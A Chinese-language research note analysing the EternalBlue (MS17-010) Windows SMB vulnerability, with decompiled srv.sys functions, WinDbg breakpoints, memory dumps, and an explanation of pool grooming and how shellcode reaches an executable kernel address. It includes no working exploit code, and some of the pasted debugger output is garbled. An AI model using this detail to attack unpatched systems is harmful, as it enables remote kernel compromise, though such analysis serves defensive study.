

永恒之蓝 原理及其分析

笔记本： cve

创建时间： 2019/3/15 9:11

更新时间： 2019/3/15 17:24

永恒之蓝 原理及其分析

永恒之蓝

要理解永恒之蓝，必须先了解SMB及其他存在的几个bug，永恒之蓝就是利用SMB的bug和巧妙内存构造进而实现利用

首先什么是SMB？

服务器消息块（Server Message Block，缩写为SMB），又称网络文件共享系统（Common Internet File System，缩写为CIFS，/'sɪfs/），一种应用层网络传输协议，由微软开发，主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通讯等资源。它也提供经认证的进程间通信机能。它主要用在装有Microsoft Windows的机器上，在这样的机器上被称为Microsoft Windows Network。经过Unix服务器厂商重新开发后，它可以用于连接Unix服务器和Windows客户机，执行打印和文件共享等任务。与功能类似的网络文件系统（NFS）相比，NFS的消息格式是固定长度，而CIFS的消息格式大多数是可变长度，这增加了协议的复杂性。CIFS消息一般使用NetBIOS或TCP协议发送，分别使用不同的端口139或445，当前倾向于使用445端口。CIFS的消息包括一个信头（32字节）和消息体（1个或多个，可变长）。

关于SMB的一些基础知识

首先，SMB命令由客户端和服务端之间的SMB消息交换组成，通过资料，我们可以按照会话管理(Session management)分类，存在6种SMB子命令

Session management	Transaction subprotocol
SMB_COM_NEGOTIATE	SMB_COM_TRANSACTION
SMB_COM_SESSION_SETUP_ANDX	SMB_COM_TRANSACTION_SECONDARY
SMB_COM_TREE_CONNECT	SMB_COM_TRANSACTION2
SMB_COM_TREE_CONNECT_ANDX	SMB_COM_TRANSACTION2_SECONDARY
SMB_COM_TREE_DISCONNECT	SMB_COM_NT_TRANSACT
SMB_COM_LOGOFF_ANDX	SMB_COM_NT_TRANSACT_SECONDARY

其命令码分别为

SMB_COM_TRANSACTION (命令码为0x25)

SMB_COM_TRANSACTION_SECONDARY (命令码为0x26)

SMB_COM_TRANSACTION2 (命令码为0x32)

SMB_COM_TRANSACTION2_SECONDARY (命令码为0x33)

SMB_COM_NT_TRANSACT (命令码为0xA0)

SMB_COM_NT_TRANSACT_SECONDARY (命令码为0xA1)

如果transaction消息大于SMB消息（由会话参数中的MaxBufferSize确定），则为客户端必须使用一个或多个SMB_COM_TRANSACTION_SECONDARY命令（SMB头中具有相同的TID，UID，PID和MID）发送

SMB_COM_TRANSACTION2 structure	SMB_COM_NT_TRANSACT structure
<pre> SMB_Parameters { UCHAR WordCount; Words { USHORT TotalParameterCount; USHORT TotalDataCount; (2 bytes) USHORT MaxParameterCount; USHORT MaxDataCount; UCHAR MaxSetupCount; UCHAR Reserved1; USHORT Flags; } } </pre>	<pre> SMB_Parameters { UCHAR WordCount; Words { UCHAR MaxSetupCount; USHORT Reserved1; ULONG TotalParameterCount; (4 bytes) ULONG TotalDataCount; ULONG MaxParameterCount; ULONG MaxDataCount; ULONG ParameterCount; ULONG ParameterOffset; } } </pre>

而对于多条命令，在传输过程中，以最后一条命令判断其命令的类型，期间数据及其大小进行叠加，则存在

如果最后一个命令是SMB_COM_TRANSACTION_SECONDARY，则服务器将子命令作为TRANS_*执行。

如果最后一个命令是SMB_COM_TRANSACTION2_SECONDARY，则服务器执行子命令TRANS2_*。

如果最后一个命令是SMB_COM_NT_TRANSACT_SECONDARY，则服务器执行子命令为NT_TRANSACT_*。

SMB的几个BUG

SrvOs2FeaListSizeToNt()中类型转化错误

在使用SMB_COM_TRANSACTION2子命令中使用FEA（完全扩展属性）时，我们需要在SMB_COM_TRANSACTION2子命令请求中发送FEA_LIST，当处理SMB_COM_TRANSACTION2子命令请求FEA_LIST时，**Windows需要将FEA_LIST转换为NTFEA_LIST列表，则在将FEA_LIST转换为NTFEA_LIST时计算数据大小是存在类型转化错误**

```
int __stdcall SrvOs2FeaListSizeToNt(_DWORD *feaList)
{
    _WORD *v1; // eax
    unsigned int v2; // edi
    unsigned int v3; // esi
    int v4; // ebx
    int v6; // [esp+Ch] [ebp-4h]

    v1 = feaList;
    v6 = 0;
    v2 = (unsigned int)feaList + *feaList;
    v3 = (unsigned int)(feaList + 1);
    if ( (unsigned int)(feaList + 1) < v2 )
    {
        while ( v3 + 4 < v2 )
        {
            v4 = *(unsigned __int16 *) (v3 + 2) + *(unsigned __int8 *) (v3 + 1);
            if ( v4 + v3 + 4 + 1 > v2 )
                break;
            if ( RtlSizeAdd(v6, (v4 + 12) & 0FFFFFFC, &v6) < 0 )
                return 0;
            v3 += v4 + 5;
            if ( v3 >= v2 )
                return v6;
            v1 = feaList;
        }
        *v1 = v3 - (_WORD)v1;
    }
    return v6;
}
```

这里看汇编更加明了

```
PAGE:0002F506 loc_2F506: ; CODE XREF: SrvOs2FeaListSizeToNt(x)+37↑j
PAGE:0002F506 ; SrvOs2FeaListSizeToNt(x)+37↑j
PAGE:0002F506 sub esi, eax
PAGE:0002F508 mov [eax], si
PAGE:0002F50B loc_2F50B: ; CODE XREF: SrvOs2FeaListSizeToNt(x)+37↑j
```

可以看到，在转化过程中，函数计算对应FEA_LIST长度时，刚开始为DWORD，之后对size更新赋值时，是按WORD进行赋值，并且高位并未检测。此时，如果我们发送的FEA_LIST中SizeOfListInBytes=0x10000，但我们有效的FEA数据为0x4000，由于高位不清空，通过计算，得到列表大小为0x140000，此时outlen仅为0x4000

```
v11 = 0;
v4 = FEAList;
outputlen = SrvOs2FeaListSizeToNt(FEAList);
*a3 = outputlen;
if ( !outputlen )
{
    *a4 = 0;
    return -1063718657;
}
Des = (FEA_LIST *)SrvAllocateNonPagedPool(outputlen, 21);
*a2 = Des;
if ( Des )
{
    v8 = (SMB_FEA *) ((char *)FEAList + FEAList->SizeOfListInBytes - 5);
    Src = (SMB_FEA *)&FEAList->FEAList;
    if ( &FEAList->FEAList > (int *)v8 )
```

之后利用远大于实际列表大小的值进行循环

```

while ( ! ( * source_position & 0x7F ) )
{
    v12 = dest_position;
    v11 = ( signed __int16 ) source_position;
    dest_position = ( _DWORD * ) SrvOs2FeaToNt( dest_position, source_position );
    source_position += ( unsigned __int8 ) source_position [ 1 ] + * ( ( _WORD * ) sc
    if ( source_position > v8 )
    {
        dest_position = v12;
        goto LABEL_13;
    }
}

```

在循环体中存在SrvOs2FeaToNt，特别在第二次memcpy过程中，由于存在堆缓冲区的参与，可能导致堆的缓冲区溢出操作

```

unsigned int __stdcall SrvOs2FeaToNt(int Des, SMB_FEA *Src)
{
    int v2; // esi
    BYTE *v3; // ebx
    unsigned int result; // eax

    v2 = Des;
    *(_BYTE *) (Des + 4) = Src->ExtendedAttributeFlag;
    *(_BYTE *) (Des + 5) = Src->AttributeNameLengthInBytes;
    *(_WORD *) (Des + 6) = *((char *)&Src->AttributeNameLengthInBytes + 1);
    memcpy((void *) (Des + 8), (char *)&Src->AttributeNameLengthInBytes + 3, LOBYTE(Src->AttributeNameLengthInBytes));
    v3 = (_BYTE *) (*(unsigned __int8 *) (Des + 5) + Des + 8);
    *v3++ = 0;
    memcpy(v3, (char *)&Src->AttributeValueLengthInBytes + *(unsigned __int8 *) (v2 + 5), *(unsigned __int16 *) (v2 + 6));
    result = (unsigned int) &v3[*(unsigned __int16 *) (Des + 6) + 3] & 0xFFFFFFF;
    *(_DWORD *) v2 = ((unsigned int) &v3[*(unsigned __int16 *) (v2 + 6) + 3] & 0xFFFFFFF) - v2;
    return result;
}

```

此时，如果成功的设置堆的结构，溢出之后就会破坏并覆盖之后的内存块，导致代码执行

消息类型转化错误

通常SMB_COM_TRANSACTION命令后面必须跟

SMB_COM_TRANSACTION_SECONDARY命令，SMB_COM_TRANSACTION2命令必须是SMB_COM_TRANSACTION2_SECONDARY命令，SMB_COM_NT_TRANS命令必须跟随SMB_COM_NT_TRANS_SECONDARY命令。

但是如果第一个SMB消息要发送的事务数据还没有完成，此时服务器并不做检测，我们就可以发送任何类型的消息(只要TID，UID，PID和MID匹配)来完成这个事务。

由上基础知识可知服务器使用最后一个SMB_COM_*_SECONDARY命令来确定事务类型。因此，我们可以将任何事务类型转换为SMB_COM_TRANSACTION或SMB_COM_TRANSACTION2。

，该知识在我们利用TRANS2_OPEN2发送大量事务数据(>=0x10000字节)有用。因为只有

SMB_COM_NT_TRANS请求TotalDataCount字段使用4个字节(其他使用2个字节)，所以该漏洞利用必须启动一个事务然后发送SMB_COM_NT_TRANS命令之后发送最后一个SMB_COM_TRANSACTION2_SECONDARY命令确定该事物类型，进而存在之后FEA_LIST的结构

SESSION_SETUP_AND_X请求格式混乱

在SMB_COM_SESSION_SETUP_ANDX请求中，存在两种格式的请求包，而这两种请求包的依靠

WordCount的值来确定，下图为WordCount分别为0xC和0xD的两种格式



在进行传输时，如果发送的代码中WordConut为12，包含 CAP_EXTENDED_SECURITY 字段，但却没有FLAGS2_EXTENDED_SECURITY字段，将会导致服务器将以处理13类型请求的方式去处理类型 12的请求包，通过构造畸形包，从而进入错误的函数,该函数会申请 nonpagepool,

```
BlockingSessionSetupAndX()
{
    // ...

    // check word count
    if (! (request->WordCount == 13 || (request->WordCount == 12 && (request->Capabilities & CAP_EXTENDED_SECURITY)))) {
        // error and return
    }

    // ...

    if ((request->Capabilities & CAP_EXTENDED_SECURITY) && (smbHeader->Flags2 & FLAGS2_EXTENDED_SECURITY)) {
        // this request is Extend Security request
        GetExtendSecurityParameters(); // extract parameters and data to variables
        SrvValidateSecurityBuffer(); // do authentication
    }
    else {
        // this request is NT Security request
        GetNtSecurityParameters(); // extract parameters and data to variables
        SrvValidateUser(); // do authentication
    }
}
```

```
// ...  
}
```

之后释放形成hole，在越界覆盖时正好覆盖的也是这个内存。

漏洞利用及其调试

其永恒之蓝的利用主要包括三部分：

- 1. MS17-010的引发内存写
- 2. 绕过内存写的长度限制
- 3. 攻击数据的内存布局

环境搭建：

<https://bbs.pediy.com/thread-247994.htm>（即使是64位环境最好也下32位py，防止出错）

调试

我们知道程序通过调用srv!SrvSmbOpen2函数触发漏洞，下断点

```
bp srv!SrvSmbOpen2+0x79 “.printf \” fea size: %p indat size: %p fealist
```

得到数据大小为0x103d0，该大小和我们发送的SMB_COM_NT_TRANS数据大小一致，并且由于该大小大于0xffff大小，所以之后的消息和该消息会合并，并通过最后一条消息确定类型

25	25.801562	192.168.80.252	192.168.80.1	SMB	Trans2 Response, SESSION_SETUP, Error: STATUS_NOT_IMPLEMENTED
26	25.809429	192.168.80.1	192.168.80.252	SMB	NT Trans Request, <unknown>
27	25.809497	192.168.80.252	192.168.80.1	SMB	NT Trans Response, <unknown (0)>

Reserved: 0000
Total Parameter Count: 30
Total Data Count: 66512
Max Parameter Count: 30
Max Data Count: 0
Parameter Count: 30
Parameter Offset: 75
Data Count: 976
Data Offset: 104
Setup Count: 1
Function: Unknown (0)
Unknown NT transaction (0) Setup
Byte Count (BCC): 1004
Unknown NT transaction (0) Parameters

0060 00 00 00 03 01 00 1e 00 00 00 00 00 00 1e 00 ..K.....
0070 00 00 4b 00 00 00 d0 03 00 00 68 00 00 00 01 00 ..K.....h.....
0080 00 00 00 ec 03 00 00 00 00 00 00 00 00 00 00 00
.....

之后通过发送SMB_COM_TRANSACTION2_SECONDARY命令促使Windows需要将FEA_LIST转换为NTFEA_LIST列表，我们查看转化，此时高位并未清0

```

kd> bp 93d6b508
kd> g
Breakpoint 1 hit
srv!SrvOs2FeaListSizeToNt+0x60:
93d6b508 668930      mov     word ptr [eax].si
WARNING: Whitespace at start of path element
WARNING: Whitespace at end of path element
kd>

```

Memory

Virtual: 0x95b350d8

Display format: Byte

Previous Next

```

95b350d8 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
95b350ef 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
95b35106 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
95b3511d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

```

得到最后size大小为

```

kd> p
srv!SrvOs2FeaListSizeToNt+0x63:
93d6b50b 8b45fc      mov     eax,dword ptr [ebp-4]
kd>

```

Memory

Virtual: 0x95b350d8

Display format: Byte

```

95b350d8 5d ff 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ]...
95b350ef 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...
95b35106 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...
95b3511d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...

```

之后返回得到的大小

```

ecx      ac0c60e2
eax      10fe8
ebp      9280bb7c

```

之后利用该大小分配内存

```

1 outputlen = SrvOs2FeaListSizeToNt(a1);
5 *a3 = outputlen;
5 if ( !outputlen )
7 {
3     *a4 = 0;
3     return -1063718657;
3 }
1 Des = (_DWORD *)SrvAllocateNonPagedPool(outputlen, 21);
5 *a3 = Des;

```

这里我们得到分配内存为

```

Loading unloaded module list
kd> bp srv!SrvOs2FeaListToNt+0x33
breakpoint 0 redefined
WARNING: Whitespace at start of path element
WARNING: Whitespace at end of path element
kd> bp srv!SrvOs2FeaListToNt+0x4d ".printf \"MOV2: dst: %p src: %p size: %p\\n\",ebx,eax,poi(esp+8);g;"
kd> g
Breakpoint 0 hit
srv!SrvOs2FeaListToNt+0x33:
93a95598 e8515feff    call   srv!SrvAllocateNonPagedPool (03a7fae)
kd> p
srv!SrvOs2FeaListToNt+0x38:
93a9559d 8b4dc       mov     ecx,dword ptr [ebp+0cb]
kd>

```

eax 85df008

ebp 95a7b7c

esp 93a955d

cs 8

efi 282

esp 95a7b70

es 10

dr0 0

dr1 0

dr2 0

dr3 0

dr6 ffffffff

dr7 400

0x85df008

通过下断点

```

bp srv!SrvOs2FeaToNt+04d ".printf \"MOV2: dst: %p src: %p size: %p\\n\",ebx,eax,poi(esp+8);g;"

```

然后观察在第二次对内存进行操作

```

1 unsigned int __stdcall SrvOs2FeaToNt(int a1, int a2)
2 {
3     int v2; // esi
4     BYTE *v3; // ebx
5     unsigned int result; // eax
6
7     v2 = a1;
8     *(_BYTE *)(a1 + 4) = *(_BYTE *)a2;
9     *(_BYTE *)(a1 + 5) = *(_BYTE *)a2 + 1;
10    *(_WORD *)(a1 + 6) = *(_WORD *)a2 + 2;
11    _memmove((void *)a1 + 8, (const void *)a2 + 4, *(unsigned __int8 *)a2 + 1);
12    v3 = (_BYTE *)a2 + 5;
13    *v3 = 0;
14    _memmove(v3, (const void *)a2 + 5, *(unsigned __int16 *)v2 + 6);
15    result = (unsigned int)&v3[*(unsigned __int16 *)a2 + 5] & 0xffffffff;
16    *(_DWORD *)v2 = ((unsigned int)&v3[*(unsigned __int16 *)v2 + 3] & 0xffffffff) - v2;
17    return result;
18 }

```



```
MOV2: dst: 85df7c0d src: ac0a8c8a size: 00000000
MOV2: dst: 85df7c19 src: ac0a8c8f size: 00000000
MOV2: dst: 85df7c25 src: ac0a8c94 size: 00000000
MOV2: dst: 85df7c31 src: ac0a8c99 size: 00000000
MOV2: dst: 85df7c3d src: ac0a8c9e size: 00000000
MOV2: dst: 85df7c49 src: ac0a8ca3 size: 00000000
MOV2: dst: 85df7c55 src: ac0a8ca8 size: 00000000
MOV2: dst: 85df7c61 src: ac0a8cad size: 00000000
MOV2: dst: 85df7c6d src: ac0a8cb2 size: 0000f383
MOV2: dst: 85e06ff9 src: ac0b803a size: 000000a8
```

计算 $0x85df008 + 0x10fe8 = 0x85EFFF0$, 所以看到最后一次的越界操作

所以在最后一次会得到 $size=0xa8$, 此时, 我们可以通过

`ba e1 srv!SrvOs2FeaToNt+0x4d ".if(poi(esp+8) != a8){gc} .else {}"`

下断点

可以查看到的内存情况

```
srv!SrvOs2FeaToNt+0x4d:
83a9d278 fff15e0c0a883 call dword ptr [srv!_imp__memmove (83a8c0e0)]
WARNING: Whitespace at start of path element
WARNING: Whitespace at end of path element
kd> dc esp
9548bb38 859acff9 95f7403a 000000a8 859acff8 .....@.....
9548bb48 95f74039 00000000 95f640d8 95f74035 9@.....@..5@..
9548bb58 95f84030 9548bb7c 83a9d603 859acff0 0@...|.H.....
9548bb68 95f74035 87e6c360 95f640b4 95f64008 5@.....@.....
9548bb78 95f74035 9548bbb4 83ab6602 859acff0 5@.....H..f....
9548bb88 9548bbbc 9548bba8 9548bbac 87e6c360 ..H...H...H....
9548bb98 95f64008 00000002 95f640b4 95f640d8 .@.....@.....
9548bba8 00010fe8 00000000 00000000 9548bc00 .....H..
```

查看内存信息

```
kd> !pool 859acff9
Pool page 859acff9 region is Nonpaged pool
*8599c000 : large page allocation, Tag is LSdb, size is 0x11000 bytes
Pooltag LSdb : data buffer
```

接下来就是如何通过构造执行代码

查看此时内存, 注意这两个被覆盖的内存

```
kd> dc 85978ff9 -1
85978ff8 00000000 00000001 00011000 00000000 .....
85979008 00000000 00000000 00000008 00000000 .....
85979018 c144d000 85979160 00010ea0 00000000 ...D.....
85979028 8597903c 00000000 0000fff7 87677c60 <.....|g.
85979038 85979044 00000000 10040060 00000000 .....
85979048 85979160 85979000 00010ea0 00000160 .....
85979058 0003fd79 0003fd7a 0003fd7b 0003fd7c y...z...{...|...
85979068 0003fd7d 0003fd7e 0003fd7f 0003fd80 }...~.....
kd> dc 95f8b03a -1
95f8b039 00000000 00000000 00000000 .....1.....
95f8b049 0000ffff 00000000 0000ffff 00000000 .....
95f8b059 00000000 00000000 00000000 .....
95f8b069 ffdff100 00000000 00000000 ffdff020 .....
95f8b079 ffdff100 ffffffff 10040060 00000000 .....
95f8b089 ffdffef8 00000000 ffd00010 ffffffff .....
95f8b099 ffd00118 ffffffff 00000000 00000000 .....
95f8b0a9 00000000 00000000 10040060 00000000 .....
```

通过资料, 发现覆盖内存存在`srvnet`中, 其中包含两个重要域

1处位置为`srvnet_recv`结构, 该处为`smb`断开时寻找函数地址并执行

2处位置为接收缓冲区MDL, 用于操作`tcp`栈写入伪造的对象

查看`ffdff000`地址, 为`win32`固定地址, 并且通过`!pte`查看

```
kd> !pte ffdff000
VA ffdff000
PDE at C0603FF0 PTE at C07FEFF8
contains 000000000018A063 contains 00000000001E3163
pfn 18a ---DA---KWEV pfn 1e3 -G-DA---KWEV
```

发现其地址存在可写可执行属性

所以基本流程就可以确定

构造流程就是通过覆盖2处位置，操作tcp栈写入伪造结构和shellcode到ffdfef80+80即FFDFF000，通过smb释放通过1处地址对应函数地址进而执行shellcode

这里解释: 从断开到执行shellcode的流程:

在smb断开时，会调用SrvNetWskReceiveComplete调用

SrvNetCommonReceiveHandler，SrvNetCommonReceiveHandler会存在获取函

数指针并调用的操作，而该地址就是我们shellcode的地址,用IDA查看相应流程

```
signed int __stdcall SrvNetWskReceiveComplete(int a1, PIRP Irp, _DWORD *a3)
{
    ULONG_PTR v3; // ebx
    _DWORD *v4; // esi
    int v5; // edi
    _IRP *v6; // ST04_4
    _DWORD *v7; // eax
    _DWORD *v8; // edx
    _DWORD *v9; // ecx
    PIRP Irpa; // [esp+18h] [ebp+Ch]
    KIRQL Irp_3; // [esp+18h] [ebp+18h]
    char v13; // [esp+1Fh] [ebp+13h]

    v3 = Irp->IoStatus.Information;
    v4 = a3;
    v5 = a3[9];
    v6 = Irp;
    Irpa = (PIRP)Irp->IoStatus.Status;
    v13 = 0;
    IoFreeIrp(v6);
    if ( Irpa )
    {
        SrvNetFreeBuffer(v4);
        SrvNetDisconnectConnectionWithIndication(v5, 0);
    }
    else
    {
        v4[5] = v3;
        v4[7] = 0;
        v4[9] = 0;
        Irp_3 = KfAcquireSpinLock((PKSPIN_LOCK)(v5 + 360));
        v7 = (_DWORD *)(v5 + 160);
        if ( (_DWORD *)*v7 == v7 )
            v13 = 1;
        v8 = *(_DWORD **)(v5 + 164);
        v9 = v4 + 1;
        *v9 = v7;
        v9[1] = v8;
        *v8 = v4 + 1;
        *(_DWORD *)(v5 + 164) = v4 + 1;
        if ( v13 )
            SrvNetIndicateData(v5, 1);
        KfReleaseSpinLock((PKSPIN_LOCK)(v5 + 360), Irp_3);
    }
    return -1073741802;
}
```

==>


```

srv\!SrvAllocateNonPagedPool Address 85b83000 RequestSize: 0000ffeb;

The srvnet\!SrvNetAllocatePoolWithTag NumGrooms Allocation-> Address: 85b93000; Size: 00011000;
The srvnet\!SrvNetAllocatePoolWithTag NumGrooms Allocation-> Address: 85bc1000; Size: 00011000;
The srvnet\!SrvNetAllocatePoolWithTag NumGrooms Allocation-> Address: 85bd2000; Size: 00011000;
The srvnet\!SrvNetAllocatePoolWithTag NumGrooms Allocation-> Address: 85be3000; Size: 00011000;
The srvnet\!SrvNetAllocatePoolWithTag NumGrooms Allocation-> Address: 85c0b000; Size: 00011000;
The srvnet\!SrvNetAllocatePoolWithTag NumGrooms Allocation-> Address: 85c79000; Size: 00011000;
The srvnet\!SrvNetAllocatePoolWithTag NumGrooms Allocation-> Address: 85c8a000; Size: 00011000;
The srvnet\!SrvNetAllocatePoolWithTag NumGrooms Allocation-> Address: 85c9b000; Size: 00011000;
The srvnet\!SrvNetAllocatePoolWithTag NumGrooms Allocation-> Address: 85cac000; Size: 00011000;
The srvnet\!SrvNetAllocatePoolWithTag NumGrooms Allocation-> Address: 85cbd000; Size: 00011000;
The srvnet\!SrvNetAllocatePoolWithTag NumGrooms Allocation-> Address: 85cce000; Size: 00011000;
The srvnet\!SrvNetAllocatePoolWithTag NumGrooms Allocation-> Address: 85cdf000; Size: 00011000;
The srvnet\!SrvNetAllocatePoolWithTag NumGrooms Allocation-> Address: 85cf0000; Size: 00011000;
SrvFreeNonPagedPool free Nopage: 85a5a000
SrvFreeNonPagedPool free Nopage: 85a5a000

srv\!SrvAllocateNonPagedPool Address 85d01000 RequestSize: 00010fec; pre hole

The srvnet\!SrvNetAllocatePoolWithTag NumGrooms Allocation-> Address: 85d12000; Size: 00011000;
The srvnet\!SrvNetAllocatePoolWithTag NumGrooms Allocation-> Address: 85d23000; Size: 00011000;
The srvnet\!SrvNetAllocatePoolWithTag NumGrooms Allocation-> Address: 85d34000; Size: 00011000;
The srvnet\!SrvNetAllocatePoolWithTag NumGrooms Allocation-> Address: 85d45000; Size: 00011000;
The srvnet\!SrvNetAllocatePoolWithTag NumGrooms Allocation-> Address: 85d56000; Size: 00011000;
SrvFreeNonPagedPool free Nopage: 85869890
SrvFreeNonPagedPool free Nopage: 85b83000
SrvFreeNonPagedPool free Nopage: 9401edd0
SrvFreeNonPagedPool free Nopage: 9401e008
SrvFreeNonPagedPool free Nopage: 85a6039f
SrvFreeNonPagedPool free Nopage: 85d01000
SrvFreeNonPagedPool free Nopage: 85a88b10
SrvFreeNonPagedPool free Nopage: 85b81440

srv\!SrvAllocateNonPagedPool Address 85d01000 RequestSize: 00010fe8; FEA_LIST---->NTFLA_LIST

NTFeaList StartAddress: 85d01008
NTFeaList EndAddress: 85d11ff0
SrvFreeNonPagedPool free Nopage: 85b75000
Current NTFea Record-> StartAddress: 85d02c64 EndAddress: 85d11ff0 NtFileValueLength: 0000f383
SrvFreeNonPagedPool free Nopage: 85d11ff0 EndAddress: 85d120a1 NtFileValueLength: 000000a8 Last 2 Move0
SrvFreeNonPagedPool free Nopage: 85401000
SrvFreeNonPagedPool free Nopage: 8743a990
SrvFreeNonPagedPool free Nopage: 85b78000
SrvFreeNonPagedPool free Nopage: 85a88b10
SrvFreeNonPagedPool free Nopage: 85b72000

```

至此，笔者认为对于该过程已经叙述完毕，不过由于笔者知识浅薄，有些地方可能理解错误，如果有不当或不对的地方，请指出。

参考链接:

<https://yi0934.github.io/cve/ms17-010.html>

<https://github.com/worawit/MS17-010>

<http://blogs.360.cn/post/nsa-eternalblue-smb.html>

<https://www.cnblogs.com/zhang293/p/8328017.html>

<https://www.cnblogs.com/yuzly/p/10480438.html>

<http://blog.nsfocus.net/vulnerabilities-srv-sys/>